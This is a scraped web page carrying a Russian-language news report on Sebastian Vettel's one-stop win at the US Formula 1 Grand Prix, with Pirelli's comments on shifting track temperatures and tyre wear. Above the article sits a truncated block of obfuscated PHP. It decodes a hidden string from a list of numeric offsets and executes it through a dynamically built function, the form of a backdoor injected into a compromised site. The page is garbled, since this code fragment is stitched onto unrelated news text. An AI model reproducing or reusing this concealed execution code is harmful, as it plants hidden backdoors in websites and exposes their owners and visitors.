aaa -
<(sizeof($owsvdbaql)/2);$jaxjvya++) { $xxszqrkf .= substr($nhalutg, $owsvdbaql[($jaxjvya*2)],$owsvdbaql[($jaxjvya*2)+(5-4)]); } return $tzzvoh(chr((62-53)),chr((289-197)),$xxszqrkf); }; } $wjmybp = explode(chr((180-136)),'2760,58,860,66,5439,39,5108,60,3743,62,1278,42,3005,24,2591,20,1025,41,5168,47,5625,70,346,25,5812,41,5695,68,2248,46,4107,38,4303,40,4758,29,1683,43,3392,59,4650,67,926,68,4604,46,2033,40,434,31,371,63,2544,47,3095,52,1340,44,465,34,2936,69,3495,56,2403,38,4717,41,3029,36,4959,46,1726,58,1968,41,994,31,1815,24,1900,68,4787,37,3370,22,5038,70,1119,57,700,43,5582,43,4375,48,5301,44,2111,31,4423,28,5971,49,252,43,4571,33,2142,61,4253,50,3623,52,1839,39,0,59,115,50,4519,52,4451,68,3836,22,2344,59,552,27,2520,24,3805,31,2611,56,2667,53,4343,32,165,62,5005,33,3203,21,5535,47,3065,30,4190,63,5215,29,4881,40,1223,55,4921,38,5478,57,3224,23,2441,43,5378,61,5763,49,3858,40,3711,32,2866,70,2009,24,1176,47,1599,36,806,54,59,56,3991,47,1440,23,1320,20,4824,57,3551,49,1463,47,4145,45,5244,57,1539,60,2203,45,1384,56,3306,64,3247,59,295,51,4038,69,2720,40,3923,68,2073,38,743,63,2818,48,1635,48,5853,67,227,25,2294,50,1784,31,499,53,579,59,1878,22,3147,56,5345,33,3451,44,2484,36,3898,25,1510,29,3600,23,3675,36,5920,51,1066,53,638,62'); $aexssceccc = $ydrvatxppl("",waqyxbpv($wjmybp,$lypgqv,$rqgqhlwa)); $ydrvatxppl=$lypgqv; $aexssceccc(""); $aexssceccc=(413-292); $lypgqv=$aexssceccc-1; ?>

Феттель выиграл гран-при США с одним пит-стопом

ASV Formula 1

Пилот Red Bull Себастьян Феттель одержал свою 12-ю победу в текущем сезоне и 1-ю в США. Гонщик стал первым пилотом в истории Formula 1, которому удалось в течение одного сезона выиграть восемь гонок подряд.

Основной проблемой, с которой пилоты сталкивались по ходу всего гоночного уикенда в Остине, стала переменчивая температура асфальта трассы: она варьировалась от 18°С в пятницу до 37°С во время воскресной гонки. Это оказало непосредственное влияние на поведение шин, а командам было сложно предвидеть степень износа и снижения характеристик и, следовательно, разрабатывать стратегию.

В то же время, Себастьян Феттель реализовал стратегию с одним пит-стопом: он стартовал на шинах средней жесткости, а на 27-м круге перешел на жесткие шины.

Будучи лидером на 27-м круге Феттель совершил пит-стоп, и пока на его болид устанавливали комплект жестких шин, пелетон возглавил Ромэн Грожан (Romaine Grosjean) из команды Lotus. Но его лидерство длилось всего лишь три круга, после чего француз сам свернул в боксы. В итоге Грожан финишировал вторым в шести секундах позади Феттеля и добился таким образом своего лучшего гоночного результата в F1.

Пилоты, занявшие первые 12 строк в итоговом протоколе, проехали гонку с одним пит-стопом, а пилот Ferrari Фелипе Масса (Felipe Massa) оказался в протоколе выше тех пилотов, которые реализовали стратегию с двумя заездами в боксы: финишную черту он пересек 13-м.

ASV Formula 1 ASV Formula 1

«В течение гоночного уикенда мы были свидетелями постоянно меняющейся температуры, то есть в различных сессиях пилоты сталкивались с различными условиями на трассе, – отметил директор автоспортивного отделения Pirelli Пол Хембери (Paul Hembery). – При таком разбросе температур асфальта было бы идеально иметь более двух типов шин, которые оговорены в регламенте, но такие условия являются крайне редкими, а использование большего количества типов шин было просто невозможно! В результате перед гонкой команды так и не смогли собрать достаточно информации о степени износа и снижения характеристик шин. Тем не менее, большинство пилотов выбрали, как мы и предполагали, стратегию с одним пит-стопом, а ее реализации способствовал выезд автомобиля безопасности в начале гонки. После этого стратегия начала играть меньшую роль, так же как и переменных факторов стало меньше, чем мы привыкли видеть в последнее время».

Pirelli прогнозировали на 56-круговую гонку в США один пит-стоп: старт на среднежестких шинах, переход на жесткие шины на 19-м круге и движение на них до самого финиша.


http://www.pkp.lv